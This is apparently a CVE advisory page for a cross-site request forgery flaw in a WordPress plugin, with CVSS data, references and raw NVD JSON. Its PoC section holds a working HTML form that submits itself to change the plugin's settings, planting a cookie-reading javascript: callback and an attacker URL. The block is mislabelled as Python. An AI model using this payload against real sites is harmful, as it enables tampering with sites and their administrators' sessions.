CVE-2026-9723

Description

The Google Plus One Bottom plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.0.2. This is due to missing or incorrect nonce validation on the googlePlusOneAdmin function. This makes it possible for unauthenticated attackers to modify the plugin's settings, including the plusone-lang, plusone-callback, and plusone-url options stored in the database via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Plus One Bottom <= 0.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-9723 -->
<!-- Modify plugin settings without admin knowledge -->
<html>
  <body>
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="googlePlusOneAdmin" />
      <input type="hidden" name="plusone-lang" value="malicious" />
      <input type="hidden" name="plusone-callback" value="javascript:alert(document.cookie)" />
      <input type="hidden" name="plusone-url" value="https://malicious-site.com" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      // Auto-submit form when page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9723
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9723
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9723/
[4] VulDB https://vuldb.com/cve/CVE-2026-9723
[5] https://plugins.trac.wordpress.org/browser/google-plus-one-bottom/tags/0.0.2/googlePlusOne.php#L34
[6] https://plugins.trac.wordpress.org/browser/google-plus-one-bottom/tags/0.0.2/googlePlusOne.php#L64
[7] https://plugins.trac.wordpress.org/browser/google-plus-one-bottom/tags/0.0.2/googlePlusOne.php#L73
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/43af2d38-72e8-405f-a910-500fb782ded2?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9723", "sourceIdentifier": "[email protected]", "published": "2026-06-02T09:16:17.437", "lastModified": "2026-06-02T13:03:31.153", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Google Plus One Bottom plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.0.2. This is due to missing or incorrect nonce validation on the googlePlusOneAdmin function. This makes it possible for unauthenticated attackers to modify the plugin's settings, including the plusone-lang, plusone-callback, and plusone-url options stored in the database via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/google-plus-one-bottom/tags/0.0.2/googlePlusOne.php#L34", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-plus-one-bottom/tags/0.0.2/googlePlusOne.php#L64", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/google-plus-one-bottom/tags/0.0.2/googlePlusOne.php#L73", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43af2d38-72e8-405f-a910-500fb782ded2?source=cve", "source": "[email protected]"}]}}